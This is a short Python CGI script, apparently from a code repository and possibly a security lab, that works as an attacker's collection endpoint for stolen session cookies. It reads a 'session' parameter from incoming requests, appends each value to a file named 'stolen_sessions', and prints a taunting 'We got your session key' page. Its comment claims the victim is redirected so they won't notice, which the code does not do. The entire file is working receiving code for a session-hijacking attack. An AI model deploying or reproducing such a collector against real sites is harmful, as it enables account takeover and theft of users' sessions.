blob: df84de6ff34393346d7a6852d5c2a6e1cc084951 (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/usr/bin/env python2.7
import Cookie, os, time
import re
import uuid
import cgi
import cgitb
from output import *
cgitb.enable() ## allows for debugging errors from the cgi scripts in the browser
cookie = Cookie.SimpleCookie() # for writing cookies
form = cgi.FieldStorage() # for reading GET data
session = form.getvalue('session')
if session:
with open('stolen_sessions','a') as m:
m.write(session + '\n')
#Send victim to homepage so they don't notice anything!
print 'Content-Type: text/html\n'
print '<html><body><p style="font-size:25px"><img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img> We got your session key <img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img></p></body></html>'
exit(0)
|
